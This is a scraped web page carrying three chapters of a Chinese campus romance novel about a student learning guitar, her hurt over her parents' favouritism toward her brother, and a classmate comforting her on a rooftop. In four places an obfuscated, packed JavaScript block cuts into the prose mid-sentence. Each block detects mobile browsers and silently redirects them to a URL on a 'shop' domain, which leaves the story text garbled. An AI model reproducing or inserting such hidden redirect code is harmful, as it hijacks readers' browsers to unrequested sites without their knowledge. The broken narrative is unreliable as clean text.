;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397921|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视频,我现在发给你。 很快,一连串的视频被他发送过来,“撑”满了他们的聊天框。 她看着这一堆消息一怔,上下滑动着屏幕,但很快眼尖地发现了一条不太一样的视频,视频里在舞台上演出的人好像是陆屿时。 见状,她刚要点开,却突然发现那条视频被对方很快地撤回了。 陈芙昭:“?” 她不解地问着。 小岛:你撤回什么啊? 1:发错了。 小岛:你弹吉他的表演视频不给看啊? 1:……你看到了?那是因为酒馆安排好的歌手迟到了,所以临时救了一下场的…… 他的话里不知道在解释什么,陈芙昭没明白,但她还是很想看,所以发过去的话也不藏着掖着,很直接。 小岛:那能发我看看吗? 消息发过去,她还顺手发了个期待的表情包。 见她这话,陆屿时那边明显犹豫了一会,但陈芙昭也不着急,就默默地等着他。 过了半晌,果然,她收到了一个他发来的新视频。 点开视频,四周黑暗的环境里,只有舞台上打下了一束光,暖白色的光落在他的身上,他坐在舞台的麦克风前弹着吉他,抒情的调调搭配上他清澈的嗓音,一下又一下地敲击着她的心。 视频总共只有三分多钟,她却不自觉地听了好几遍。 直到林嘉棠在隔壁床上问道:“芙昭,你听什么歌呢?怎么一直都是同一首啊?” 闻言,她如梦初醒般,赶紧按了视频的暂停键,慌乱掩盖道:“啊……那个,我在刷视频。” 她尴尬地笑了下,看着手机屏幕上暂停的视频,却没有立刻退出,而是悄悄按了保存键。 然后,她看着发来视频后就没有消息的陆屿时,主动问着他。 小岛:你弹的这首歌我没听过,叫什么名字啊? 她本意只是想和他再多聊一会,但不知道陆屿时那头是在做什么,等了好一会,都没等到他的消息。 所以陈芙昭只好先去洗漱。 - 等收拾好,她躺上床,拿起手机,才发现陆屿时在五分钟前就回自己了。 只是……她看着对方的回复,脑子一时有些宕机。 1:喜欢你。 她看了好几遍这条消息,虽然知道他说的是歌名,但心脏还是控制不住地砰砰直跳,耳根直至脖颈更是红了一片。 而另一边刚忙完演出,走出酒馆打算回学校的陆屿时,他下意识打开手机,结果一解锁入眼就是自己和陈芙昭的聊天记录。 看着自己刚才忙着放吉他而简略回的消息,他迈出的脚步僵住,才意识到这个回答看着很奇怪,赶紧找补。 1:我是说这个歌曲是Beyond的《喜欢你》。 消息一发出去,他难得露出尴尬和担忧的神情,站在风里一动不动,等着她回自己。 他希望陈芙昭千万别误会了什么,把自己当成一个莫名其妙,又或者是很随便的人。 在这煎熬的几分钟等待里,他僵直着背,初秋的冷风吹在他微微发烫的耳根上,他的心也被吹得有点乱。 直到…… “叮咚”,手机上传来收到消息的声音。 陆屿时立刻低下头看去,却在她给自己回的消息后一怔。 小岛:喜欢你,这首歌很好听,你能教我弹吗? 8. 春日岛屿 “陆屿时,你什么时候能教我弹你演出的那首歌啊?” 又一次吉他社下课,陈芙昭和他并肩走出艺术楼,漫步在操场的红色塑胶跑道上,她背着手,走在他的前面,期待地问着。 而陆屿时看着她想起之前手机上的事情,还是不自觉地有些尴尬,只是看着面前的人语气自然地问着自己,他又顿时觉得自己有点太在意了。 于是……他调整着表情,努力把那件事情抛之脑后,想了想才道:“嗯……等你再练练一点吧,这个歌的谱子有点复杂,不能着急。” “好吧……”听他这样说,陈芙昭有点气馁地点了点头,但毕竟陆屿时比自己专业,听他的肯定没错,只是她想起自己最近的练习,表情黯然道:“唉也不知道我要什么时候才能很顺利地弹完一首歌。” 见她说话的语气有沮丧的意思,陆屿时以为是她误会了自己的意思,解释安慰道:“你已经弹得很好了,学得也很快,我刚那么说只是觉得等你练得更熟练一点之后,再学弹这首歌的谱子会更容易上手一点。” 其实并没有因为他的话而不自信,毕竟她对自己的学习能力一直都很信心,只是她最近都一直在重复同样的练习,不免感到有些枯燥,但陆屿时能听到夸人很少见,所以她眼前一亮,盯着他追问着:“真的啊?你真的觉得我弹得很不错吗?” “嗯,我当时刚学两个月的时候,还没有你弹得好。” 他说这话时的神色很认真,一点也不像是胡说的样子,虽然不知道他这话是不是又有谦虚的成分,但陈芙昭听着很开心。 “那也是不枉我这两个月日夜颠倒地练习。”她笑着边走边感叹道,“你都不知道我已经快把教学楼天台那边的开门关门时间给摸透了。” 她这话不是夸大,陆屿时知道是真的,虽然除了在吉他社以外,他没有怎么太过问陈芙昭的练习进度,但一个月几次的社团活动时,他都能明显感觉她的弹吉他水平在越变越熟练。 她肯定在私底下花了不小的功夫,不然短短两个月达不到这样的水平。 想到这,陆屿时在心里也实打实地很佩服陈芙昭的毅力,她站在那好像就能给人一种力量,让人觉得只要是她想做的事情,就没有不成功的。 所以很多时候,陆屿时会在陈芙昭学习吉他的劲头里想起从前的自己。 在吉他上,他们是一样的,认真、坚持和从不轻言放弃。 “那你现在手还疼吗?”也许是想起之前自己学吉他的场景,他又想到她刚开始学吉他的时候,手疼得不行的样子。 但其实陈芙昭也只说过那么一次,后面她再来吉他社练习的时候,陆屿时就再也没有听她说过自己的手了。 “偶尔还会,不过已经比之前好多了,可能真的是弹习惯了。”面对他的关心,陈芙昭下意识看了看自己的手,她的指腹上已经有了一层薄薄的茧子,这是她两个月坚持下来的成果。 陆屿时自然也注意到了她的手,但还是提醒道:“要是还会疼的话,睡觉前可以拿温水泡一下,会好很多。” “我知道了,你之前都说了好几遍了啊。”陈芙昭听他又重复和之前几次一模一样的话,不禁失笑起来。 “哦,是吗……”看着她唇边的笑,他失神地回想了一会,才继续道:“那我可能是忘记了,那……再过半个月,我就教你你想学的那首歌怎么样?” “好啊。”得到了一个确切的时间,她笑着连连点头,心情很不错地一口答应。 说着话,两人一起走出了操场,和陆屿时告别后,她走在回宿舍的路上,收到了手机上的孟澜青的消息。 对方正在询问她明天周末有没有时间和她一起出去玩,只是可惜她明天已经有约了,只能拒绝着。 小孟:你有约了?和谁啊,不会是陆屿时吧? 看着好友八卦的消息,陈芙昭有些羞地抿了抿唇,自从她知道陆屿时在教自己吉他之后,每次提到他都是这副样子。 小岛:不是啊!你到底在想什么呢!是我堂姐临时来江市出差,所以她刚好打算来看一下我。 小孟:哦~是陈鸢姐要来啊,好吧好吧,我还以为是某人呢,那我只能下次约你出去玩了。 她发的消息里带着一股八卦没成功的可惜,陈芙昭羞恼地给她发去了个生气的表情包。 - 次日,她起了个大早,要先去高铁站接陈鸢。 早上八点,她在高铁站的出站口等了一会,就看见了跟着人群一起出来的陈鸢。 “昭昭!” 陈鸢穿着一袭黑色的大衣,她手里拿着一个很大的托特包,另外一只手还拖着行李箱,边喊着她边从人群里挤过来。 “堂姐!”陈芙昭也自然看见了她,她笑盈盈地迎上去,喊着人,顺手上去接过她的行李箱。 “欸谢啦,还要麻烦你大早上过来接我。” “那么客气干吗呀,都是小事情。” 两人说着,朝着外面走去,陈鸢在手机上打了车,她要先回酒店去把自己的东西放好。 在出租车里,她仔细看了看坐在身边的堂妹,说道:“昭昭,我怎么感觉你好像瘦了啊,在江大还好吗?我记得你是不是刚来的时候还生病了?” 陈芙昭没想到陈鸢还记得这个,她当时刚到江市没多久就病倒了,她那会觉得自己真是太倒霉了,就发了个朋友圈自嘲了下。 当时陈鸢也给她发过消息,还转了钱让她照顾好自己。 “嗐,这都多久之前的事情了啊,堂姐你放心吧,我一切都好,就刚到这的时候有点不适应,水土不服而已。” “这样啊,那就好,不过你说你干吗一定要跑那么远来读大学,报个苏市的大学多好啊。” 听她的话,陈芙昭干笑了几声,却没有第一时间接话。 她当时高考完填报志愿的时候,家里也几乎没有人同意,他们都觉得江市太远,也觉得她去了那么远的地方会很不方便,但陈芙昭心知肚明那所谓的不方便是指什么,所以还是一意孤行选择了江大。 被陈鸢提到这件事情,她又想起了当时的事情,垂下眼隐藏着眼底的情绪。 而陈鸢见她没接话,立刻意识到自己说错话了,立刻就转移了话题,不再聊这件事情。 她们堂姐妹太久没见,有很多话能叙旧,去酒店的路途有些远,要将近一个小时,陈鸢絮絮叨叨说了很久,直到到了酒店里面。 陈芙昭帮忙把她的行李箱拖进房间,问道:“堂姐你要在江市呆几天啊?” “一周左右吧,就是出个小差。不过我下午还要去趟分公司。”陈鸢边打开行李箱,把里面等会要换的衣服拿出来挂好,免得一会都被压皱了,边说着:“咱们等会一起去吃点中午饭,我正好想尝尝江市这边的口味。” “好啊,我看网上说这附近就有家饭店挺好吃的,而且都是本地的特色菜。”陈芙昭点点头,她搜出一家店,把手机递给她看。 “可以啊,你看看要不要预约,我收拾一下,昭昭你先坐会。” 话落,陈芙昭就看着自己堂姐一顿忙活,她一向都有洁癖,所以在外住酒店会麻烦很多。 等她收拾好,把衣服和洗漱用品都放好挂好,整个人瘫坐在旁边的椅子上,累得不行地问着陈芙昭现在几点了。 “十点多了。” 闻言,陈鸢觉得自己实在是有些精疲力尽了,就提议先休息会再出去吃饭。 - 临近十一点钟的时候,她们俩才出了门。 那家饭店离酒店不远,两人就干脆打算走过去。 迎着深秋的太阳,阳光落在人身上也还是有些冷。 陈鸢边走边叮嘱她:“昭昭,你们这可比我们那冷多了,你记得保暖啊,别感冒了。” “知道啦堂姐。”陈芙昭习惯了她的唠叨,不厌其烦地答应着。 走到饭店门口,里面已经坐了不少人,她们俩挑了一个靠窗的位置,坐下开始点菜。 “随便点啊,这顿我请,就算是谢谢你今天大早上来接我啦。”陈鸢大手一挥,一副很慷慨大方的样子。 陈芙昭看她这样笑了笑,也没和她客气,点了些双方都不忌口的菜,还特地想备注不辣,但陈鸢却觉得一点辣味都没有太寡淡,硬是要了个微辣。 江市的东西普遍口味有点重,陈芙昭看着上来的菜有些欲言又止,她提前外卖点了两杯奶茶,等菜快上齐的时候,奶茶也到了,她起身去门口把奶茶拿了进来。 “给,堂姐,你爱喝的。” 陈鸢正好被嘴边的东西给辣到,赶紧接过打开大喝了一口。 “呼,怎么那么辣啊,昭昭你吃的惯这里的东西吗?怪不得你刚才要点不辣,这里的微辣居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397922|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都这么呛。” 她没见过这样的辣味,苏市在南方,一向都吃得很清淡,而且很多东西都是偏甜口,和江市的东西完全是两个风格的口味。 “还好吧,一开始也被辣到过,但后面就有数了。”她吃着桌上的菜,指了几个没有辣椒的道:“这几个不辣,可以吃。” “那你在江大读书怎么样?有没有什么好玩的事情和我分享分享。” …… 接下来,她们俩边吃着饭,陈芙昭边和她说着自己在学校里的生活。 得知她还在学吉他,陈鸢也有些意外,“可以啊,你还有这个爱好呢。” “就是觉得机会难得,想学一学。” “挺好的啊,你这大学生活还挺丰富的,那你的生活费呢,都还够用吧?”陈鸢听她说着自己的大学生活,绕了一大圈,最后还是问到了她最关心的问题,“要是不够的话一定要和我说,你说你在外地的,离那么远我也帮不到你什么,有什么事情要找室友什么帮忙的话,也不能白让人家帮忙啊,所以身边的钱可不能没有。” 听着她关切的话和担心的眼神,陈芙昭一怔,她下意识地有些恍惚,这样像家长一样关心自己的话,她好像已经很久很久没有听到过了。 过了半晌,她鼻子莫名有些酸,心里感动着,面上却不想让陈鸢担心,于是努力扯出一抹灿烂的笑,说道:“放心吧堂姐,我身边有钱的,我现在也是成年人了,你别老觉得我还是小孩子。” 只是她话虽然这么说,陈鸢却还是有点不相信,“真的啊?你从小就喜欢报喜不报忧,可别骗我啊。” “真的啊,没骗你,我爸……他有给我转生活费的。”提到家里人,陈芙昭的话停顿了一下,才继续道:“我不缺钱,真的。” 只是,听她提到陈父,陈鸢的表情一下子也僵住了,她像是想到了什么事情,面上有些纠结,但想了想还是试探着开口问她:“对了昭昭,叔叔阿姨最近有和你联系吗?” “……” 被问到这个问题,陈芙昭拿着筷子的动作一顿,但她很快反应过来,机械地拣着面前的菜,表现出不太在意的样子,无所谓道:“没,他们应该在忙着管陈珩的事情吧,怎么了吗?” “有件事情,我不知道该不该告诉你……”她的回答完全在陈鸢的意料之中,只是如此,她更加犹豫了。 但对方的话显然让陈芙昭误会成了另外一个意思,听她只说了一半的话,顿时着急不安起来:“我爸妈他们出什么事了吗?” “不是不是,叔叔阿姨都挺好的,就是……”她看着陈芙昭,见她还在为父母担心,嘴边尚未说出来的话就变得更烫嘴起来,但她在对方急切的眼神下踌躇了一会,最终还是咬咬牙,开口道:“上个星期我听到叔叔阿姨找我爸妈借钱,说是因为陈珩读高中的事情,说觉得他上下学太辛苦,叔叔阿姨打算去陪读,准备租了学校附近的学区房,但你知道苏外附近的房子哪里会便宜,我爸妈是觉得陈珩都那么大了,又是个男孩子,完全可以住校……” 陈鸢一下子说了很多,话里话外的意思其实都是希望陈芙昭能去劝一劝她爸妈,这是她的想法,但很明显也是陈鸢父母的想法。 而陈芙昭作为自己父母的亲生女儿,到今天才从自己堂姐嘴里知道了这件事情。 在此之前,她对此居然一无所知。 陈鸢爸爸和陈父是亲兄弟,平常就没少帮衬她们家,而且他们夫妻俩都正好在苏外高中当老师,平日里也愿意帮忙照顾着点陈珩,实在不行也可以让陈珩住在他们家里去,这样上下学也很方便,但是不知道为什么,即使是这样,陈父陈母还是不肯,甚至为了租这个房子跑来借钱。 劝说失败下,他们只好让本就要来江市出差见陈芙昭的女儿来告诉她。 只是……陈芙昭从听到这件事情之后脸色就越来越差,以至于陈鸢后面说的话都没有听清楚。 直到两人分开,她站在学校的门口,此时已经下午,阳光和周围的冷风一起落在她的背后,陈芙昭抬起头看着头顶刺眼的太阳,心情彻底沉入了低谷。 她面无表情地刷着校卡走进学校,脑子里却不断重复方才陈鸢的那一番话。 这件事情很明显不是陈父陈母忘了和她说,而是他们故意要隐瞒她的。 而为什么要隐瞒自己,陈芙昭心里比任何人都要清楚。 9. 春日岛屿 回到宿舍的时候,她其他的几个室友都在午休,陈芙昭不想吵到她们,正好自己此刻也并不想待在这里,于是放好了东西就关上宿舍门出去了。 她在宿舍楼下漫无目的地走着,自己此刻只想找个安静的地方待一会,于是她想到了之前为了练吉他常去的天台。 迎着午后的阳光,陈芙昭顺着教学楼的楼梯爬到了最上面,上面空落落的,一个人都没有,她作势找了个地方坐了下来。 望着外边的天,不知道过了多久,直到夕阳的余晖落下在她的脸上,像一层朦胧不清的薄纱,让人看不清表情。 夕阳渐渐落下,周围起了风,冷风吹起她耳边的碎发,陈芙昭眨着被风吹得有些酸涩的眼睛,身体已经因为长时间保持一个动作而变得僵硬,她动了动胳膊,下一秒,从口袋里拿出了手机。 点开通讯录,看着自己备注“妈”的那一行电话,手指停在屏幕的上方,她在犹豫自己到底要不要打过去。 陈芙昭很清楚,这个电话如果打过去,那必定会撕开一些什么,可如果让她装作什么都不知道,自己又做不到。 因为那样只会让她觉得自己更加可笑。 于是,她闭了闭眼睛,心一横还是选择了打过去。 电话忙音在“嘟嘟嘟”好几声后,才终于被接通。 “喂,哪位啊?”电话那头传来熟悉的声音。 陈芙昭抿紧了唇,声音却毫无波澜道:“妈妈,是我。” “哦,昭昭啊?你怎么这个时候打电话过来?”电话那边的陈母听见女儿的声音一愣,她看了眼手机屏幕,才道:“我刚才在忙,没看到是你的电话。” “嗯,妈妈,最近你和爸爸还有……陈珩都还好吧?”她没有直接提陈鸢说的事情,而是装作什么都不知道地开口问道。 “挺好的啊,你弟弟这不是刚上高中,我和你爸都挺担心他跟不上进度的,你有时间也要手机上多关心关心他,他要是有什么不会的题目你也要教教他,你是姐姐,这都是你应该做的,知道吗?” 又是这样的话,永远都是她姐姐,为陈珩做什么都是应该的,可明明进入新学校的人不只陈珩一个…… 在过去里,她也许还会反驳一下陈母的话,但今天,她没有这个心情,“……他在高中还适应吗?” “他啊,你都不知道你弟弟最近在学校啊……” 一提到陈珩,陈母就像有说不完的话。 可陈芙昭压根不想听这些,她渐渐没了耐心,不想继续和电话那头的妈妈虚与委蛇下去,于是直接开口打断了她的话,问道:“那他现在是住校还是和我以前一样走读住家里?” 闻言,先前还在电话里滔滔不绝说话的陈母突然就哑火了。 电话那头安静了好一会,才传来陈母有些支支吾吾,心虚的声音:“怎么又问这个,之前不是和你说过了,就、就和你高中的时候一样呗。” 话已经问到了这个份上,就差明说了,但依旧还是假话。 陈芙昭低下头笑了声,从陈母的反应里,她已经明白了。 于是,她也不再废话,挑明道:“我今天见到堂姐了,她都和我说了。” 这话一出,陈母知道是瞒不过去了,她沉默了一会,才在电话里有些尴尬地笑了笑,“嗐,你说鸢鸢没事和你说这事干什么。” 她试图糊弄着把这件事情玩笑过去,陈芙昭听到后的语气却越来越冷:“你们为什么要骗我?” “你这孩子,什么骗不骗的?我和你爸爸也是最近才决定的,你弟他说上下学路程实在是太远了,他这样休息不好还容易影响学习,所以我和你爸才想着在租个房子陪你弟弟。” “那陈珩为什么不能直接住在学校里。”她不想听陈母扯这些,只在乎自己想知道的答案。 “住什么宿啊,你弟弟住在学校里我和你爸能放心吗?”一听到住宿,不知道是触及了陈母的哪根神经,她立刻语气有些不满道:“你盼着你弟弟点好行不行?他那么小住在学校里,要是有人欺负他怎么办啊?” 年纪小,担心他被欺负,这一字一句陈芙昭听得只觉得讽刺,“那为什么我之前你们就放心让我住宿?” “你、你这丫头提以前干什么啊?这不都过去了。”陈母显然也对她的话有些哑口无言,所以只能扯着“都过去了”的旗帜,甚至还因为她说到之前的事情有些埋怨:“怪不得你爸让我不要告诉你,他就知道你要这样……好了不和你说了,你弟要放学了,我要去接他了。” 说罢,她也不等陈芙昭说话,像是也知道自己理亏信息,自顾自地很快就挂断了电话。 看着手机屏幕上已经中断的通话,终于得到答案的陈芙昭垂下眼,她死咬着唇,方才所有的不明白与不甘心,随着那通被挂断的电话尽数殆尽,只余下说不清的痛苦和难受。 交织杂乱的情绪混在一起,最终化为了一滴又一滴的眼泪,砸在已经黑屏的手机上。 此刻,楼下学校内已经亮起了路灯,外头的风萧萧地吹进来,刮在她脸上疼得厉害。 一滴透明的眼泪,在她的回忆里流转。 她高中上下学的记忆,几乎都在漫长又拥挤的公交车上,高一那一年,她要起很早很早,才能保证自己去学校不会迟到。 无论是烈日、下雨天,还是冷得让人瑟瑟发抖的冬天,她一个人穿梭在马路上,只因为陈夫陈母的那一句她已经长大了,是个大孩子了。 他们无暇顾及她,却又能够把所有的精力和时间花在弟弟陈珩的身上。 从衣食住行到上下学接送,无微不至得恰到好处。 以至于陈芙昭都要记不起来了,她的初中,似乎也和高中时一样,自己去自己回。 但苏外高中实在是太远了,高中的学业繁重得她不敢浪费掉一点时间。 所以她最终还是和陈父陈母说了自己上下学路上太远的事情,她睡得晚起得早,休息也很难休息好。 而知道此事的陈父只给了她两个选择。 “要么我和你大伯说,让你去他们家借住,要么你就住宿吧。” 从未有过那第三个选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397923|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她不想麻烦大伯一家,最终只能选择去学校住宿。 但已经过去了两个学期,班里住宿的女生们早就各自熟悉,每个寝室更是如此,陈芙昭想要融入进去也并没有那么简单。 在那些艰难的学习和在高考压力下,她还要面临着不得不处理的人际关系,在那些的时候,好像也没有人对她说过一句不放心。 陈珩轻描淡写地一句不适应就能得到的,她却从未拥有过。 - 想起过去,陈芙昭低下头,她的胸口闷得像是被压了一大块石头,难受得喘不过气来。 她其实早就知道这通电话打过去能得到的答案只有一个,可居然还是不死心。 陈芙昭觉得自己可笑极了,这么多年,真正在自我欺骗的人其实从始至终都只有她自己。 而父母的隐瞒,无疑因为他们自己也很清楚自己的偏心。 所以一时间,她甚至不知道该为哪件事情感到更可悲,是他们刻意的隐瞒,还是心知肚明的偏心,无论是哪一个,好像都在陈芙昭的心上扎了一个洞。 她骤然想起自己填报志愿的时候,离开苏市,似乎是她最大的一次挣扎和逃脱。 她不想再继续做照顾弟弟的姐姐,她只想做自己想做的,去想去的地方。 …… 眼泪已经在水泥地上干涸,回忆流淌着时间,她坐在黑漆漆的天台上,只有微弱的月光能看清她的神色。 周围一片寂静,安静得陈芙昭能听见自己的呼吸声,她眼底闪烁着不明的情绪, 时间越来越晚,风却越来越大,她始终没有要起身离开的意思。 抬起头,看着夜空中被乌云遮住一大半朦胧的月亮,模糊得也要看不清。 这个夜可真长,她在心里想。 长得让她有些不敢继续望。 人或许就是这样奇怪又矛盾的,陈芙昭不希望自己被人发现,只想自己一个人在静寂的夜里消化痛苦。 可她心里的另一个自己,在这个孤独的夜,又很期望能有一个人来发现自己,来带自己离开。 即使陈芙昭明白,这几乎是不可能的。 - 萧瑟的风里,她垂下眼睫,原本就低沉的心情随着夜越来越深而更加落寞。 一个人经历的夜晚,又和高中那会一模一样。 这几乎成为刻在陈芙昭骨子里的习惯,所有的痛苦和难堪总是说不出口的。 可命运总喜欢出其不意地落下些什么。 正当她消极地想着,背后的楼梯口却突然传来匆匆的脚步声。 她一愣,下意识侧过身去,就看见天台的铁门被人打开了。 陆屿时举着手机上的手电筒,白色的亮光不偏不倚地刚好落在她的脸上。 看着站在铁门外的男生,刺眼的光让陈芙昭看不清他脸上的表情,但在静谧的当下,他喘着气,暴露了自己此刻的匆忙。 而似乎只是看着他就让她的眼睛狠狠一酸。 她哽咽着想,又是你啊陆屿时。 10.春日岛屿 “陈芙昭。” 背后一片黑暗的人借着手里唯一的光源走近,喊着她的名字。 “这么晚了,你的手机怎么……”他想问她为什么大晚上一个人在这里,可是手电筒的灯打在她的脸上,陆屿时看见她明显红得有些不正常的眼睛,瞬间一怔,“你、你怎么了吗?” 他没想到自己上来会看见她这个样子,嘴边说的话顿时都有些梗住。 陈芙昭闻言下意识抹了下自己的脸,发现是干的,但她的脸上有些粘腻和刺痛,是眼泪被风吹干涸的缘故。 脸上的疼后知后觉,面对陆屿时的问题,她更是沉默。 直到过去好一会,她才缓缓摇着头,轻声道:“没事。” 她虽然这样说,但显然陆屿时没有相信。 他站在陈芙昭的面前盯着她没有说话,陈芙昭自然也清楚,自己的这句话加上她当下的这个样子,说没事没人会相信,但她实在是不想说这件事,所以生硬地转移着话题,问他:“你……为什么会在这里。” “孟澜青说给你打了好几个电话你都没接,但她在外面一时赶不回来,怕你有什么事情所以在手机上联系了我。”陆屿时察觉出她不想说自己的事情,于是也不再多问,而是顺着她的问题往下回复着。 听到这,陈芙昭才想起来看自己的手机,她摁着手机边上的按键,却发现怎么摁都是黑屏,见状,她才想起来自己刚才给陈母打电话的时候手机好像就只剩下最后几格电了,“我手机没电了。” 说着,她怕孟澜青担心,对他拜托道:“麻烦你现在手机上和澜青说一下吧,她找不到我肯定会着急,你就和她说我没事。” “我刚才已经和她说过了,放心吧。” “那就好。”她点头松了口气,看着陆屿时才后知后觉地问,“那你是怎么知道我在这里的。” “孟澜青说问了你的室友,她说你也不在宿舍里,所以我就猜你可能在这。”他说着原因,语气听起来很平常,如果忽略他方才暴露在楼道里急匆匆的脚步声和喘气声,大概真的会让人觉得,他只是很轻松地就找到了她。 陈芙昭听着他的话,心里不知道在想什么,半晌后她才抬起头,嘴边努力扯出一抹笑来,对他说道:“原来是这样,谢谢你啊陆屿时。”谢谢你找到我,让我终于没有再和以前一样度过这个夜晚。 后半句她在心里默念着,没有说出口。 “不用,你没事就好。”他看着她脸上的逞强的笑,有些一时不知道该说什么。 “那我们现在下去吧。”他这样说,让陈芙昭更加不敢直视他看向自己的眼神,她怕自己会忍不住在他面前狼狈地掉下眼泪。 无论多少痛苦,她似乎总是不愿意让任何人看到自己脆弱的样子。 而对于陆屿时,她更希望自己在他心里是明媚的,而不是现在这个被冷风吹的头发散乱满脸疲惫的自己。 想到这,陈芙昭头低得更低了,她垂下眼说完就要往外走。 “你现在想下去吗?”可陆屿时却一发常态地没有在后面跟着她,他还站在原地,举着那个手电筒,语气不明地问着她。 她不知道对方这话是什么意思,下意识停住脚步问道:“什么?” 陆屿时看着她,想起自己刚才上来的时候,她坐在那里看着自己的样子,开口道:“如果你还想在待一会的话,我可以陪你,现在距离天台锁门的时间也还早。” 陈芙昭没想到他会突然这样说,一时有些懵住。 但她不得不承认陆屿时确实说中了她的心思,她现在的确还不想回去。 寂静的夜晚总是能让人逃避,她知道自己这样很没有出息,可是对于那样的家庭,似乎只有逃避才能让她好受一点。 想到这,她也不着急走了,又重新转过身来,她用力摸了摸自己的脸,想努力让自己看起来不那么糟糕,然后才看着陆屿时,眼睛一热道:“那就麻烦你多陪我一会了。” 说罢,她坐回原来的地方,陆屿时看了她一会,也顺势跟着一起坐下,然后关掉了手电筒。 平日里,有他们俩在一起的时候,陈芙昭永远是最爱说话的那个人,所以他们间聊天从来不会冷场。 但现在,面对着明显心情不太好的她,陆屿时倒是表现得有些不措起来。 他并不是一个话多的人,也不太会讲话,现在唯一能做的,好像就只有陪着她。 可他此刻,却希望她能够开心起来。 不知道是不是因为之前他总见到的陈芙昭都是笑盈盈的,如今看到她一言不发的样子,让他心里莫名感到很沉闷。 陈芙昭不知道,人的情绪在眼睛里总是没有办法骗人的。 所以即使她说着自己没事,但陆屿时透过她的眼睛能看到她的难过。 - 陈芙昭并不知道他此刻想什么,她只是望着夜空,过了很久很久,才道:“今天晚上没有星星。” 她的声音混在风里,让人听不清情绪。 “嗯,明天可能会下雨。”他不知道她为什么会突然说这个,但还是一本正经地回答道。 “是吗?”陈芙昭没想到他会突然来这么一句,本来郁闷的心情倒是真被他逗笑了。 见她终于露出了今晚第一个真心的笑容,陆屿时虽然有些不明所以,但还是道:“嗯,所以今晚风很大,冷吗?” “还好,都吹了好一会了,没什么感觉了。” 眼看夜空中找不到一颗星星,陈芙昭也收回目光,她吸了吸被吹红的鼻子,放在腿上的手已经被风吹得没了知觉。 陆屿时看出她其实冷得厉害,于是把自己的外套脱了下来,递给她,“不嫌弃的话,披着点吧。” 见状,陈芙昭看着他一愣,“那、那你怎么办?” “没事,我不冷。” 陆屿时显然比她穿得多,看他这样说,陈芙昭也不再推脱,道了声谢后接过。 他的外套上有一股好闻的皂角味,温暖瞬间笼罩着她的全身,让她情绪都稍微缓和了一些。 所以,她转过头,看着身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404663|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁的人,轻声喊他:“陆屿时” “嗯?我在。” 他答应着,外头的风却在这时吹得越来越大了,夜空中的月亮已经彻底被乌云挡住,周围一片都黑漆漆的,他转过头,不再看得清她那双难过的眼睛。 陈芙昭不知道他正看着自己,只是继续问道:“你难过的时候,会做什么让自己开心一点吗?” 话说到最后,她的声音听起来都有些嘶哑,听起来无助极了。 陆屿时自然也意识到了,因此他仔细地想了想,最后看着她,声音认真道:“弹琴,要听吗?” “现在吗?”她人一怔,显然没想到他会这样问自己,但很快,她语气有些可惜道:“但我没有带你的吉他。” “没事,也有别的方式能弹。” “什么?” 在陈芙昭困惑的目光下,陆屿时打开了手机,他在屏幕上点了几下,然后把手机横过来,上面就显示着一个电子的吉他琴弦。 “还能这样啊?”陈芙昭惊讶地看着他的手机,问着:“这个真的可以弹吗?” “可以,只是可能没那么好操作。”话落,他用细长的手轻扫了一下屏幕,手机上立刻传来了琴弦被拨动的声音。 没想到还真能弹出声音,陈芙昭意外着,也觉得有些新奇。 见她感兴趣,陆屿时顺势说道:“你不是喜欢我之前在酒馆演出的那首歌吗?我弹给你听怎么样?” “好啊。”她其实能感觉到他是想逗自己开心,于是点头欣然道。 很快,旋律在陆屿时的手下缓缓响起,在这个寂静的夜里格外清晰。 陈芙昭看着身边的男生低下头专心的样子,听他轻声在风里唱起这首歌的歌词。 “……喜欢你/那双眼动人/笑声更迷人……” 他低沉缱绻的声音落在她的耳畔,陈芙昭借着他手机屏幕上的光,悄悄看着他。 很巧的,和面前的他目光一个对视上。 他嘴边仍在唱歌这首歌歌词,这是一首很适合表白的粤语歌。 